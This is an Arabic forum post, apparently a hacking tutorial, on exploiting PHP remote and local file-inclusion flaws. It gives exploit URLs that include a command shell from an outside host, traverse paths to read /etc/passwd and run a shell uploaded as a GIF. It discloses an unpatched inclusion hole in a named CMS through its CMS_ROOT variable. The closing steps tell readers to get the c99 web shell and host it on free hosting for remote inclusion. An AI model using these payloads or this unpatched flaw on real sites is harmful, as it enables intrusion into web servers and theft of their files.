بسم الله الرحمن الرحيم

كيفك أخي



شرح استغلال ثغرات الفايل انكلود

ما هي ثغرات الفايل انكلود

هذه الثغرات عبارة عن تطبيق اكواد عبر ادخال ملفات باستخدام دوال معينة تكون مستخدمة بالسكربت لتطبيق اوامر اخرى ..

الدوال التي يمكن استغلالها لتطبيق الفايل انكلود

كود:

include
require
include_once
require_once



ما هو عمل هذه الدوال

هذه الدوال تقوم بتطبيق محتوي ملف معين كملف برمجي ..

اي ادخال الاكواد من ملفات خارجية .. ولا يخلى اي سكريبت من احد هذه الدوال

ولكن تكون الثغرة في استخدام المتغيرات داخل هذه الدوال وامكانية التعديل على المتغير

انواع ثغرات ال File include

هذا النوع ينقسم الى قسمين :-

1 : Remote File Include :-
وهو عملية تطبيق كود من ملف اي ملف وليس بالشرط ان يكون على نفس السيرفر .. اي يمكن تطبيق اكواد اي ملف اخر .. دون اي مشاكل

2: Local File include :-
وهي امكانية تطبيق كود اي ملف اخر من على نفس السيرفر

كيف يتم اكتشاف ثغرات الفايل انكلود ؟

طبعا لكي تكتشف ثغرات الفايل انكلود يجب عليك البحث بالشفرة المصدرية او الكود للسكربتات ..

وهذا الكود مثال على ثغرات الفايل انكلود
كود:

<?php

$page = $_GET['page'];

include ($page);

?>



وفي هذه الحالة يتم تطبيق الثغرة بكل سهولة على الملف باستخدام المتغير page

ففي هذه الحالة يكون الاستغلال مثلا
file.php?page=****l.txt

او اي ملف اخر مثلا

file.php?page=http://members.lycos.co.uk/soqor10/cmd.txt&cmd=id

اما لو كان الكود مثلا

كود:
<?php


$page = $_GET['page'];

include ("./pages/$page");

?>



فهنا يمكن فقط ادخال ملفات داخلية اي على نفس السيرفر

وطبعا يمكن استخدام النقاط بشكل طبيعي لتخطي المجلدات

مثلا لو كان مسار الملف
/home/user/public_html/file.php

يكون الاستغلال للوصول لل /etc/passwd

file.php?page=../../../../etc/passwd

او مثلا لو قمت برفع ملف شل بامتداد gif على مركز رفع على نفس السيرفر

واكن مسار الملف /home/upload/public_html/uploads/file01c144dd.gif

تدخله بالطريقة التالية

file.php?page=../../../../home/upload/public_html/uploads/file01c144dd.gif

تطبيق عملي على اكتشاف ثغرات ال file include

والثغرة لم ترقع ولم تنشر حتى الان

اسم السكربت
Cybershade CMS

يمكنك تحميل السكربت منwww.sf.net

انا بالعادة عندما افحص سكربت من الثغرات ابدأ بملفات ال core او ال includes اي الملفات التي تدرج دوما في كل الملفات ولا تكون رئيسية لانها بالغالب يكون بها الثغرات

لذا سنقوم بفتح ملف core/includes.php

محتوى الملف
كود:
<?php
//This file has the main includes all in one file, this will enable us to change the files if we need to
include "xconnect.php"; //connection infomation
include $CMS_ROOT."core/core.php"; //main core of the CMS
include $CMS_ROOT."core/security.php"; //CMS security
include $CMS_ROOT."core/menus.php"; //Menus
include $CMS_ROOT."core/classes.php"; //Diffrent Classes
//include $CMS_ROOT."core/bbcode.php"; //bbcodes
template(); //call upon the template function
?>



ولكن الملف xconnect.php غير موجود بنفس المجلد لذا سيظهر رسالة خطأ ولكن لان الدالة هي Include فانه يكمل دون التوقف للخطأ وهنا يمكننا استغلال هذا الخطأ


انظر
كود:


include $CMS_ROOT."core/core.php"; //main core of the CMS



ولان هذا الملف لا يوجد فيه اي شيء قبل هذا السطر او لا يقوم بتطبيق شيء بشكل حقيقي اذا يمكننا اضافة قيمة للمتغير CMS_ROOT

لذا لو قمنا بعمل مثلا
core/includes.php?CMS_ROOT=http://www.soqor.net/index/?

فانه سيقوم بادراج الصفحة .. وهنا يمكننا استخدام اي شيل بصيغة gif او txt

ويمكن ايضا النظر مثلا في ملف اخر ك core.php

اول اسطر فيه
كود:


<?php
session_start();
error_reporting (E_ERROR | E_WARNING | E_PARSE); //this will be set to 0 when released, this is to stop any error's showing up
//error_reporting (0);
include $CMS_ROOT."core/base_functions.php"; //functions that the CMS will use



وايضا لا يوجد شيء قبل CMS_ROOT اذا اذا قمنا بتعيين قيمة لهذا المتغير فانه سيمكننا ادراج شيل على الصفحة


وطبعا هذا النوع من الثغرات يعتمد بشكل رئيسي على القدرة على قراءة الاكواد والصبر



====================
لازم يكون لديك شيل بصيغة txt
c99.txt واعتقد يوجد منه في المنتدى

وبعد ضلك تدخل على جوجل وتبحث على إستضافة مجانية

وتحجز لك إستضافة

هذه إستضافة مجانية
http://www.free-web-host.me/
أو هذه
2KMegs.com - Free reliable cPanel web hosting - 2 Gigs of disk space, 5 Gigs of bandwidth, cPanel control panel, mail, and more! 2kmegs offers great uptime and support for your website.

بعد حجز موقعك ترفع الشيل

مثل إسم موقعك
www.xxx.com

ورفعته الشيل

يصير هكذا
www.xxx.com/c99.txt
هكذا أنت رفعت شيل txt

إنتهينا